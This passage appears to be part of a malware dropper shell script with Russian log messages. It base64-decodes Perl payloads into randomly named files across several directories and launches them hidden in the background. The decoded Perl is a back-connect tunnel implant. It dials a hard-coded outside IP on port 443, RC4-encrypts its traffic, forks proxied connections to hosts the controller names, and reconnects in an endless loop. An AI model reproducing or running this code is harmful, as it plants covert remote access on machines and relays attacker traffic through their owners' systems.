ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #48 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #48 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 49 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTYnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw 